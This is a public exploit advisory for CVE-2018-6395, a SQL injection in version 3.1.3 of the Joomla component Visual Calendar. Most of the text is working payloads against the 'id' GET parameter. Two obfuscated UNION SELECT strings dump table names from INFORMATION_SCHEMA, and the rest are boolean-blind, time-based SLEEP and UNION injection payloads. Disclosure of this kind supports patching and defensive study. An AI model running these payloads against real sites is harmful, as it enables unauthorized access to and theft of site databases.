# # # # # # Exploit Title: Joomla! Component Visual Calendar 3.1.3 - SQL Injection # Dork: N/A # Date: 30.01.2018 # Vendor Homepage: http://www.joomlacalendars.com/ # Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/visual-calendar/ # Version: 3.1.3 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: CVE-2018-6395 # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # 1) # http://localhost/[PATH]/index.php?option=com_visualcalendar&view=load&id=[SQL] # # -1%20%20/*!06666UNION*/%20/*!06666SELECT*/%20(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)%2c0x32%2c0x33%2c0x34%2c0x35%2c0x36%2d%2d%20%2d # # -1%20%20/*!06666UNION*/%20/*!06666SELECT*/%201%2c0x32%2c(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)%2c0x34%2c0x35%2c0x36%2d%2d%20%2d # # Parameter: id (GET) # Type: boolean-based blind # Title: AND boolean-based blind - WHERE or HAVING clause # Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 AND 2616=2616 # # Type: AND/OR time-based blind # Title: MySQL >= 5.0.12 AND time-based blind # Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 AND SLEEP(5) # # Type: UNION query # Title: Generic UNION query (NULL) - 6 columns # Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 UNION ALL SELECT CONCAT(0x716a627a71,0x586a6c7676787a6f684c73745863744b7955784a47534d58797158564a53716d6b57434f6141536c,0x71786b6a71),NULL,NULL,NULL,NULL,NULL-- QpYd # # # # # #